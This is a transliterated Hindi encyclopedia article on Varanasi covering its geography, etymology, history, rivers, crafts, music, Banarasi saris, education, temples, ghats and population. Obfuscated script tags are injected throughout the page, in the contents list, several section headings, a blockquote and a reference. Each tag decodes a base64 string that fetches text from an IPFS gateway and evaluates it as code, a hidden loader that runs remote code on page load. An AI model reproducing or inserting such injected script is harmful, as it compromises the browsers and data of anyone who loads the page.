वाराणसी

भारत डिस्कवरी प्रस्तुति
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varanasi vishay soochi

parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> arthavyavastha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanskriti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dharmik sthal   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> paryatan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> chitravali   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vistrit alekh

varanasi
vivaran varanasi, banaras ya kashi bhi kahalata hai. varanasi dakshin-poorvi uttar pradesh rajy, uttari-madhy bharat mean ganga nadi ke baean tat par sthit hai aur hinduoan ke sat pavitr nagaroan mean se ek hai.
rajy uttar pradesh
zila varanasi zila
bhaugolik sthiti uttar- 25.282°, poorv- 82.9563°
marg sthiti varanasi, ilahabad se 125 kilomitar pashchim, lakhanoo se 281 kilomitar dakshin-poorv tatha dilli se lagabhag 780 kilomitar dakshin-poorv mean hai.
kab jaean aktoobar se march
kaise pahuanchean havaee jahaz, rel, bas, taiksi
havaee adda lal bahadur shastri havaee adda
relave steshan varanasi jankshan, mugalasaray jankshan
bas adda aantarrajyiy bas adda ananh‍d vihar
yatayat aauto riksha, riksha, bas, mini bas, nav, stimar
kya dekhean vishvanath mandir, kashi hindoo vishvavidyalay, varanasi ki nadiyaan, varanasi ke ghat
kahaan thaharean hotal, dharmashala, atithi-grah
kya khayean pan, kachau di-sabzi, chat, thandaee
kya kharidean banarasi sa di
es.ti.di. kod 0542
e.ti.em lagabhag sabhi
chitr:Map-icon.gif googal manachitr, varanasi havaee adda
sanbandhit lekh ganga nadi, sampoornanand sanskrit vishvavidyalay, mahatma gaandhi kashi vidyapith


bahari k diyaan adhikarik vebasait
adyatan‎
19:09, 15 march 2013 (IST)
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varanasi, banaras ya kashi bhi kahalata hai. varanasi dakshin-poorvi uttar pradesh rajy, uttari-madhy bharat mean ganga nadi ke baean tat par sthit hai aur hinduoan ke sat pavitr nagaroan mean se ek hai. ise mandiroan evan ghatoan ka nagar bhi kaha jata hai. varanasi ka purana nam kashi hai. varanasi vishv ka prachinatam basa hua shahar hai. yah ganga nadi ke kinare basa hai aur hazaroan sal se uttar bharat ka dharmik evan saanskritik kendr raha hai. do nadiyoan varuna aur asi ke madhy basa hone ke karan isaka nam varanasi p da. banaras ya varanasi ka nam puranoan, ramayan, mahabharat jaise anekanek granthoan mean milata hai. vedoan mean bhi kashi ka ullekh hai. sanskrit padhane prachin kal se hi log varanasi aya karate the. varanasi ke gharanoan ki hindustani sangit mean apani hi shaili hai.

sthiti

varanasi bharatavarsh ki saanskritik evan dharmik nagari ke roop mean vikhyat hai. isaki prachinata ki tulana vishv ke any prachinatam nagaroan jerusalem, etheans tatha peikiang (bijiang) se ki jati hai.[1] varanasi ganga ke baean tat par arddhachandrakar mean 250 18’ uttari akshaansh evan 830 1’ poorvi deshaantar par sthit hai. prachin varanasi ki mool sthiti vidvanoan ke madhy vivad ka vishay rahi hai.

vidvanoan ke matanusar

sheriang,[2] maradak,[3] gribj,[4] aur parakar[5] jaise vidvanoan ke matanusar prachin varanasi vartaman nagar ke uttar mean saranath ke samip sthit thi. kisi samay varanasi ki sthiti dakshin bhag mean bhi rahi hogi. lekin vartaman nagar ki sthiti varanasi se poornataya bhinn hai, jisase yah pray: nishchit hai ki varanasi nagar ki prakriti yathasamay ek sthan se doosare sthan par visthapit hone ki rahi hai. yah visthapan mukhyataya dakshin ki or hua hai, par kisi pusht praman ke abhav mean vidvanoan ka ukt mat samichin nahian pratit hota hai.

ganga nadi ke tat par base is shahar ko hi bhagavan shiv ne prithvi par apana sh‍thayi nivas banaya tha. yah bhi mana jata hai ki varanasi ka nirman srishti rachana ke prarambhik charan mean hi hua tha. yah shahar pratham jh‍yortiliang ka bhi shahar hai. puranoan mean varanasi ko brahmaand ka keandr bataya gaya hai tatha yah bhi kaha gaya hai yahaan ke kan-kan mean shiv nivas karate haian. varanasi ke logoan ke anusar, kashi ke kan-kan mean shivashankar haian. inake kahane ka arth yah hai ki yahaan ke prath‍yek path‍thar mean shiv ka nivas hai. kahate haian ki kashi shankar bhagavan ke trishool par tiki hai.

hevel ki drishti mean

hevel ki drishti mean varanasi nagar ki sthiti visthapan pradhan thi, apitu prachin kal mean bhi varanasi ka vartaman svaroop surakshit tha.[6] hevel ke matanusar buddh poorv yug mean adhunik saranath ek ghana jangal tha aur yah vibhinn dharmavalanbiyoan ka ashray sthal bhi tha. bhaugolik dashaoan ke pariprekshy mean hevel ka mat yuktisangat pratit hota hai. vastav mean varanasi nagar ka astitv buddh se bhi prachin hai tatha unake avirbhav ke sadiyoan poorv se hi yah ek dharmik nagari ke roop mean khyati prapt tha. saranath ka udbhav mahatma buddh ke pratham dharmachakr pravartan ke uparaant hua. ramalochan sianh ne bhi kuchh sanshodhanoan ke sath hevel ke mat ka samarthan kiya hai. unake anusar nagar ki mool sthiti pray: uttari bhag mean svikar karani chahie.[7] hal mean akatha ke utkhanan se is bat ki pushti hoti hai ki varanasi ki prachin sthiti uttar mean thi jahaan se 1300 eesa poorv ke avashesh prakash mean aye haian.

namakaran

‘varanasi’ shabd ‘varuna’ aur ‘asi’ do nadivachak shabdoan ke yog se bana hai. pauranik anushrutiyoan ke anusar 'varuna' aur 'asi' nam ki nadiyoan ke bich mean basane ke karan hi is nagar ka nam varanasi p da.

  • 'padmapuran' ke ek ullekh ke anusar dakshinottar mean ‘varana’ aur poorv mean ‘asi’ ki sima se ghire hone ke karan is nagar ka nam varanasi p da.[8]
  • 'atharvaved'[9] mean varanavati nadi ka ullekh hai. sanbhavat: yah adhunik varuna ka hi samanarthak hai.
  • 'agnipuran' mean nasi nadi ka ullekh milata hai.

pauranik ullekh

'mahabharat' mean 'kashi' ka nam 'varanasi' bhi milata hai-

'sametan parthivankshatran varanasyaan nadisutah, kanyarthamahvayadh viro rathanaiken sanyuge.'[10]

'tato varanasian gatva archayitva vrishabhadhvajamh, kapilahnade narah snatva rajasooyamavapnuyath.'[11]

jain granth 'prajnapana sootr' mean bhi varanasi ka ullekh hai. 'vividhitirthakalp' ke anusar asi ganga aur varuna ke tat par sthit hone ke karan yah nagari 'varanasi' kahalati thi. varanasi ke sanbandh mean maharaja harishchandr ki katha, roopaantaran ke sath is jain granth mean varnit hai. varanasi ke is granth mean paanch mukhy vibhag batalae ge haian[12]-

  1. 'dev varanasi', jahaan vishvanath ka mandir tha tatha chaibis jinapatt sthit haian,
  2. rajadhani varanasi
  3. yavanoan ka nivas sthan
  4. madan varanasi
  5. vijay varanasi

'dantakhat sarovar' ke nikat tirthankar parshvanath ka chaity sthit tha aur usase 6 mil ki doori par bodhisatv ka mandir tha. thumb|300pxl|left|varanasi

itihas

mukhy lekh : varanasi ka itihas

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aitihasik alekhoan se pramanit hota hai ki eesa poorv ki chhathi shatabdi mean varanasi bharat ka b da hi samriddhashali aur mahattvapoorn rajy tha. madhy yug mean yah kannauj rajy ka aang tha aur bad mean bangal ke pal nareshoan ka is par adhikar ho gaya tha. sanh 1194 mean shahabuddin gori ne is nagar ko loota aur kshati pahuanchayi. mugal kal mean isaka nam badal kar muhammadabad rakha gaya. bad mean ise avadh darabar ke pratyaksh niyantran mean rakha gaya. balavant sianh ne baksar ki l daee mean aangrezoan ka sath diya aur isake upalakshy mean varanasi ko avadh darabar se svatantr karaya. sanh 1911 mean aangrezoan ne maharaj prabhunarayan sianh ko varanasi ka raja bana diya. sanh 1950 mean yah rajy svechchha se bharatiy ganarajy mean shamil ho gaya. varanasi vibhinn mat-matantaroan ki sangam sthali rahi hai. vidya ke is puratan aur shashvat nagar ne sadiyoan se dharmik guruoan, sudharakoan aur pracharakoan ko apani or akrisht kiya hai. bhagavan buddh aur shankarachary ke alava ramanuj, vallabhachary, sant kabir, guru nanak, tulasidas, chaitany mahaprabhu, raidas adi anek sant is nagari mean aye.

bhaugolik sthiti

mukhy lekh : varanasi ka bhoogol

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varanasi nagar ki rachana ganga ke kinare hai, jisaka vistar lagabhag 5 mil mean hai. ooanchaee par base hone ke karan adhikatar varanasi badh ki vibhishika se surakshit rahata hai, parantu varanasi ke madhy tatha dakshini bhag ke nichale ilaqe prabhavit hote haian. nagar ke akar ki dharmik manyataoan ke adhar par vyakhya karane ke anek prayas kie gaye haian. in manyataoan ki bhaugolik vyakhya ko kamovesh svikara gaya hai. aise samanyat: prachalit vishvasoan ki soochi is prakar banaee hai.

prachalit vishvasoan ki soochi

krit trishool

is trishool ke tin shool haian- uttar mean oankareshvar, madhy mean vishveshvar tatha dakshin mean kedareshvar. yah tinoan ganga tat par sthit haian. maannyata hai ki yah nagari bhagavan shiv ko samarpit hai aur unake trishool par sthit hai.

tretayug chakr

chaurasi kos yatra ke tadanuroop hai aur madhyameshvar isaka kendr hai jo ganga ke nikat avasthit hai.

dvapar rath

sat prakar ke shiv mandir, rath ka samaroop banate haian. ye haian- gokarneshvar, sulatanakeshvar, manikarneshvar, bharabhooteshvar, vishveshvar, madhyameshvar tatha oankareshvar. is akar mean bhi ganga nadi ki mahattvapoorn bhoomika hai.

shankhakar

yahaan bhi mandiroan ki sthiti ke samaroop akar mana gaya hai aur ganga nadi yah akar nirdharit karati hai. is akar ko banane vale mandir haian- uttar pashchim mean vidhnaraj aur vinayak, uttar mean shaileshvar, dakshin poorv mean kedareshvar aur dakshin mean lolark. thumb|300pxl|varanasi ghat

varanasi ki nadiyaan

mukhy lekh : varanasi ki nadiyaan

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varanasi ka vistar ganga nadi ke do sangamoan varuna aur asi nadi se sangam ke bich bataya jata hai. in sangamoan ke bich ki doori lagabhag 2.5 mil hai. is doori ki parikrama hinduoan mean panchakosi yatra ya panchakosi parikrama kahalati hai. varanasi zile ki nadiyoan ke vistar se adhyayan karane par yah jnat hota hai ki varanasi mean to prasravak nadiyaan hai lekin chandauli mean nahian hai jisase us zile mean jhilean aur daladal haian, adhik barasat hone par gaanv pani se bhar jate haian tatha fasal ko kafi nuqasan pahuanchata hai.

ganga

mukhy lekh : ganga nadi

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ganga ka varanasi ki prakritik rachana mean mukhy sthan hai. ganga varanasi mean gangapur ke betavar gaanv se pahale ghusati hai. yahaan par isase subaha nala a mila hai. varanasi ko vahaan se pray: sat mil tak ganga mirzapur zile se alag karati hai aur isake bad varanasi zile mean varanasi aur chandauli ko vibhajit karati hai. ganga ki dhara ardh-vrittakar roop mean varsh bhar bahati hai. isake bahari bhag ke oopar karare p date haian aur bhitari bhag mean baloo athava badh ki mitti milati hai. ganga ka rukh pahale uttar ki taraf hota hua ramanagar ke kuchh age tak dehat amanat ko ralhoopur se alag karata hai. yahaan par kinara kankarila hai aur nadi usake thik niche bahati hai. yahaan toofan mean navoan ko kafi khatara rahata hai. dehat amanat mean ganga ka baanya kinara muandadev tak chala gaya hai. isake niche ki or vah ret mean parinat ho jata hai aur badh mean pani se bhar jata hai. ramanagar chho dane ke bad ganga ki uttar-poorv ki or jhukati doosari kehuni (kaman, taraf) shuroo hoti hai. dhara yahaan bayean kinare se lagakar bahati hai.

arthavyavastha

udyog aur vyapar

mukhy lekh : varanasi ka vyapar

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varanasi kala, hastashilp, sangit aur nrity ka bhi kendr hai. yah shahar resham, sone v chaandi ke taroan vale zari ke kam, lak di ke khilaunoan, kaanch ki choo diyoan, hathi daant aur pital ke kam ke lie prasiddh hai. yahaan ke pramukh udyogoan mean rel ianjan nirman ikaee shamil hai.

chitr:Blockquote-open.gif kashi ko 'mahashh‍mashan' ke nam se bhi jana jata hai. ise prithvi ki sabase b di shamashan bhoomi mana jata tha. yahaan ke manikarnika ghat tatha harishh‍chandr ghat ko sabase pavitr ghat mana jata hai. chitr:Blockquote-close.gif

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>varanasi ke karigaroan ke kala- kaushal ki khyati sudoor pradeshoan tak mean rahi hai. varanasi ane vala koee bhi yatri yahaan ke reshami kimakhab tatha zari ke vastroan se prabhavit hue bina nahian rah sakata. yahaan ke bunakaroan ki paranparagat kushalata aur kalatmakata ne in vastuoan ko sansar bhar mean prasiddhi aur manyata dilayi hai . videsh vyapar mean isaki vishisht bhoomika hai . isake utpadan mean badhottari aur vishishtata se videshi mudra arjit karane mean b di saphalata mili hai . resham tatha zari ke udyog ke atirikt, yahaan pital ke bartan tatha un par manohari kam aur sanjarat (jhaanjh majhira) udyog bhi apani kala aur sauandary ke lie vikhyat haian . isake alava yahaan ke lak di ke khilaune bhi door- door tak prasiddh haian, jinhean kutir udyogoan mean mahattvapoorn sthan prapt haian .

vanijy aur vyapar ka pramukh keandr

varanasi nagar vanijy aur vyapar ka ek pramukh keandr tha. sthal tatha jal margoan dvara yah nagar bharat ke any nagaroan se ju da hua tha. kashi se ek marg rajagrih ko jata tha.[13] kashi se veranja jane ke lie do raste the-

  1. soreyy hokar
  2. prayag mean ganga par karake.

doosara marg banaras se vaishali ko chala jata tha.[14] varanasi ka ek sarthavah paanch sau ga diyoan ke sath pratyant desh gaya tha aur vahaan se chandan laya tha.[15]

kala aur sanskriti

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varanasi ki kala aur sanskriti advitiy hai. yah varanasi ki samriddh saanskritik paranpara hai jisaki vajah se yah bharat ki saanskritik rajadhani kahalati hai. puratattv, pauranik kathaoan, bhoogol, kala aur itihas ka ek sanyojan varanasi bharatiy sanskriti ko ek mahanh keandr banata hai. halaanki varanasi mukhy roop se hiandoo dharm aur bauddh dharm ke sath ju da hua hai, lekin varanasi mean pooja aur dharmik sansthaoan ke kee dharmik vishvasoan ki jhalak pa sakate haian.

varanasi, bharatiy kala aur sanskriti ka poora ek sangrahalay prastut karata hai. varanasi mean itihas ke pathyakram mean badalate paitarn aur aandolanoan ko mahasoos kar sakate haian. sadiyoan se varanasi ne mastar karigaroan ka utpadan kiya hai aur aur apani suandar sa di, hastashilp, vastr, khilaune, gahane, dhatu ka kam, mitti aur lak di aur any shilp ke lie nam aur prasiddhi arjit ki hai.

varanasi ne kee prasiddh vidvanoan aur buddhijiviyoan, jo gatividhi ke sanbandhit kshetroan mean apani chhap chho d gaye hai, ko janm diya hai. varanasi, ek advitiy samajik aur saanskritik kap de prastut karata hai. sangit, natak, aur manoranjan varanasi ke sath paryay rahe hai. banaras lanbe samay se apane sangit, mukhar aur vady donoan ke lie prasiddh raha hai aur apane khud ke nrity paranparaoan, varanasi lok sangit aur natak, meloan aur tyoharoan, akha de, khel adi ka ek bahut hi purana kendr raha hai.

sangit

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • varanasi gayan evan vady donoan hi vidyaoan ka keandr raha hai.
  • sumadhur thumari bharatiy kanth sangit ko varanasi ki vishesh den hai.
  • isamean dhireandr baboo, b di moti, chhoti moti, siddheshvar devi, rasoolan baee, kashi baee, anavari begam, shaanta devi tatha is samay girija devi adi ka nam samast bharat mean b de gaurav evan samman ke sath liya jata hai.

banarasi sa di

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • banarasi sa diyoan duniyabhar mean prasiddh haian. lal, hari aur any gahare rangoan ki ye sa diyaan hiandoo parivaroan mean kisi bhi shubh avasar ke lie avashyak mani jati haian.
  • uttar bharat mean adhikaansh betiyaan banarasi sa di mean hi vida ki jati haian.
  • banarasi sa diyoan ki karigari sadiyoan purani hai.

shikshan sansthan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varanasi poorv se hi vidya aur shiksha ke kshetr mean ek aham pracharak aur kendriy sanstha ke roop mean sthapit tha. madhyakal ke dauran uttar pradesh mean udar parampara ka sanchalan tha. varanasi 'hindoo shiksha kendr' ke roop mean vishvavyapak hua. varanasi ke uchchatar madhyamik vidyalay 'iandiyan sartiphiket aauf saikeandari ejukeshan' [16], 'kendriy madhyamik shiksha bord' [17] ya 'uttar pradesh madhyamik shiksha parishad' [18] se sahabaddh haian. prachin kal se hi log yahaan darshan shastr, sanskrit, khagol shastr, samajik jnan evan dharmik shiksha adi ke jnan ke liye ate rahe haian. bharatiy paranpara mean prayah varanasi ko sarvavidya ki rajadhani kaha gaya hai. varanasi mean ek jamiya salafiya bhi hai, jo salafi islami shiksha ka kendr hai.

kashi hindoo vishvavidyalay

mukhy lekh : kashi hindoo vishvavidyalay

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kashi hindoo vishvavidyalay ya banaras hindoo vishvavidyalay varanasi mean sthit ek kendriy vishvavidyalay hai. is vishvavidyalay ki sthapana [19] ke aantargat huee thi. pandit madanamohan malaviy ne kashi hindoo vishvavidyalay ki sthapana ka prarambh 1904 ee. mean kiya, jab kashi naresh 'maharaj prabhunarayan sianh' ki adhyakshata mean sansthapakoan ki pratham baithak huee. 1905 ee. mean vishvavidyalay ka pratham pathyakram prakashit hua.

sahity

varanasi sanskrit sahity ka keandr to rahi hi hai, lekin isake sath hi is nagar ne hindi tatha urdoo mean anek sahityakaroan ko bhi janm diya hai, jinhoanne sahity seva ki tatha desh mean gaurav poorn sthan prapt kiya. inamean bharateandu harishchandr, ayodhyasianh upadhyay 'hariaudh', jayashankar prasad, premachand, shyamasundar das, ray krishnadas, achary ramachandr shukl, ramachandr varma, pandey bechan sharma 'ugr', vinodashankar vyas, krishnadev prasad gau d tatha d aau. sampoornanand ullekhaniy haian. inake atirikt urdoo sahity mean bhi yahaan anek jane- mane lekhak evan shayar hue haian. jinamean mukhyatah shri vishvanath prasad shad, maulavi mahesh prasad, maharaj chetasianh, shekhali haji, aga hashr kashmiri, hukum chandr naiyar, pro. haphij banarasi, shri haq banarasi tatha nazir banarasi ka nam ata hai.

utsavapriyata

varanasi ke nivasiyoan ki utsavapriyata ka ullekh jatakoan mean savistar milata hai. mahajanapad yug mean dipavali ka ullekh mukhy tyoharoan mean hua hai. ek jatak mean ullekhit hai ki kashi ki dipamalika kartik mas mean manayi jati thi. is avasar par striyaan kesariya rang ke vastr pahanakar nikalati thian.[20]

hastimangalotsav

hastimangalotsav bhi varanasi ka ek pramukh utsav tha,[21] jisaka ullekh jatakoan evan bauddh sahity mean milata hai. isake atirikt mandirotsav bhi manaya jata tha, jisamean surapan kiya jata tha.[22] ek jatak mean ullekh aya hai ki kashiraj ne ek bar is avasar par tapasviyoan ko khoob surapan karaya tha.[23]

varanasi ke mandir

varanasi mean kee pramukh mandir sthit haian. varanasi kee pramukh mandiroan ka nagar hai. varanasi mean lagabhag har ek chaurahe par ek mandir sthit hai. dainik sthaniy archana ke liye aise chhote mandir sahayak hote haian. in chhote mandiroan ke sath hi varanasi mean dheroan b de mandir bhi haian, jo samay-samay par varanasi ke itihas mean banavaye gaye the. varanasi mean sthit in mandiroan mean kashi vishvanath mandir, annapoorna mandir, dhuandhiraj ganesh, kal bhairav, durga ji ka mandir, sankatamochan, tulasi manas mandir, naya vishvanath mandir, bharatamata mandir, sankatha devi mandir v vishalakshi mandir pramukh haian.

kashi vishh‍vanath mandir

mukhy lekh : vishvanath jyotirliang

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mool kashi vishh‍vanath mandir bahut chhota tha. 18vian shatabh‍di mean iandaur ki rani ahilh‍yabaee holh‍kar ne ise bhavh‍y roop pradan kiya. panjab ke shasak raja ranjit sianh ne 1835 ee. mean is mandir ke shikhar ko sone se madhavaya tha. is karan is mandir ka ek anh‍y nam golh‍den temh‍pal bhi p da. yah mandir kee bar dhh‍vash‍t kiya gaya. vartaman mean jo mandir hai usaka nirman chauthi bar mean hua hai. qutubuddin aibak ne sarvapratham ise 1194 ee. mean dhh‍vash‍t kiya tha. raziya sultan (1236-1240) ne isake dhh‍vansavashesh par raziya masjid ka nirman karavaya tha. isake bad is mandir ka nirman abhimukh‍teshh‍var mandir ke nazadik banavaya gaya. bad mean is mandir ko jaunapur ke sharki rajaoan ne tu dava diya. 1490 ee. mean is mandir ko sikandar lodi ne dhh‍vans karavaya tha. 1585 ee. mean banaras ke ek prasiddh vh‍yapari todaramal ne is mandir ka nirman karavaya. 1669 ee. mean is mandir ko aurangazeb ne pun: tu dava diya. aurangazeb ne bhi is mandir ke dhh‍vansavashesh par ek masjid ka nirman karavaya tha.

varanasi ke ghat

mukhy lekh : varanasi ke ghat

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varanasi (kashi) mean ganga tat par anek suandar ghat bane haian, ye sabhi ghat kisi n kisi pauranik ya dharmik katha se sanbandhit haian. varanasi ke ghat ganga nadi ke dhanush ki akriti hone ke karan manohari lagate haian. sabhi ghatoan ke poorvarbhimukh hone se sooryoday ke samay ghatoan par pahali kiran dastak deti hai. uttar disha mean rajaghat se prarambh hokar dakshin mean assi ghat tak sau se adhik ghat haian.

paryatan

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

varanasi, paryatakoan ke lie akarshan ka keandr hai. yahaan anek dharmik, aitihasik evan suandar darshaniy sthal haian, jinhean dekhane ke lie desh ke hi nahian, sansar bhar se paryatak ate haian aur is nagari tatha yahaan ki sanskriti ki bhoori-bhoori prashansa karate haian. kala, sanskriti,sahity aur rajaniti ke vividh kshetroan mean apani alag pahachan banaye rakhane ke karan varanasi any nagaroan ki apeksha apana vishisht sthan rakhati hai. desh ki rashtrabhasha hindi ki janani sanskrit ki udbhav sthali kashi saanskritik ekata ka pratik hai.

janasankhya

2001 ki janaganana ke anusar nagar nigam kshetr ki janasankhya 11,22,748 hai, chhavani kshetr ki janasankhya 17,246 aur zile ki janasankhya 31,3867 hai.[24]


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ dayana el ik, banaras siti aauf lait (nyooyark, 1982), pratham sanskaran, prishth 4
  2. ↑ em. e. sheriang, di sekred sitij aauf di hindooj, (landan, 1968) prishth 19-34
  3. ↑ je. maradak, kashi aur banaras (1894) prishth 5
  4. ↑ ee. gribj, kashi, ilahabad, 1909, prishth 3-4
  5. ↑ e. parakar, e haiandabuk aauf banaras, prishth 2
  6. ↑ ee.vi. haivel, banaras di sekred siti prishth 41-50
  7. ↑ ramalochan sianh, banaras, ek siti in arban jyographi, prishth 31
  8. ↑ varanasiti yath khyatan tammanan nigadamiv. dakshinatarayau nayau paranasishchapoornat:॥- padmapuran, kashi mahatmy 5/58
  9. ↑ atharvaved, 4/7/1
  10. ↑ mahabharat, shaantiparv 37, 9
  11. ↑ mahabharat, vanaparv 84, 78
  12. ↑ aitihasik sthanavali |lekhak: vijayendr kumar mathur |prakashak: rajasthan hindi granth akadami, jayapur |sankalan: bharatakosh pustakalay |prishth sankhya: 844 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  13. ↑ vinayapitak, jild 1, prishth 262
  14. ↑ motichandr, kashi ka itihas, prishth 49
  15. ↑ suttanipat, adhyay 2, prishth 523
  16. ↑ aee.si.es.ee
  17. ↑ si.bi.es.ee
  18. ↑ yoo.pi.bord
  19. ↑ banaras hindoo vishvavidyalay ekt, ekt kramaank 16, sanh 1915
  20. ↑ jatak, bhag 2, prishth 145 (sankhya 147) motichandr, kashi ka itihas, prishth 45
  21. ↑ jatak, bhag 2, sankhya 163, prishth 215
  22. ↑ jatak, bhag 2, sankhya 163, prishth 132
  23. ↑ 139- jatak, bhag 1, prishth 208
  24. ↑ varanasi (aangrezi) (ech.ti.em.el) varanasi ki adhikarik vebasait. abhigaman tithi: 23 faravari, 2011.

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sanbandhit lekh

dekhean • varta • badalean
varanasi
parichay
shiksha
vibhootiyaan
pramukh nadiyaan
shilpakala udyog
mandir
kund evan talab
any

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dekhean • varta • badalean
uttar pradesh ke nagar
amaroha · aligadh · aharaura · amethi · agara · itava · ilahabad · eta · kannauj · kanapur · kushinagar · kosikalaan · kaushaanbi · gaziyabad · dibaee · gorakhapur · jaunapur · jhaansi · fatehapur sikari · firozabad · bateshvar · badayooan · bareli · baliya · khalilabad · baharaich · jayas · baanda · khurja · bijanaur · mathura · mugalasaray · vrindavan · narauli · gola gokarnanath · gopamoo · golagokarananath · mahoba · mirzapur · muradabad · merath · bagapat · baangaramoo · mainapuri · chandauli · chandausi · ramapur · k da · daranagar · lakhanoo · sikandarabad · varanasi · shahajahaanpur · shravasti · hatharas · barabanki · saharanapur · goanda · sitapur · farrukhabad · hamirapur · hapu d · rayabareli· devariya · gajipur · saradhana · gadhamukteshvar · jalaun · devaband · devipatan · rajapur · bulandashahar · faizabad · nazibabad · aantaranji khe da · sambhal · azamagadh · pilibhit · taanda · haradoee · sultanapur · sandila · misarikh · savayajapur · oraiya · oree

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dekhean • varta • badalean
uttar pradesh ke dharmik sthal
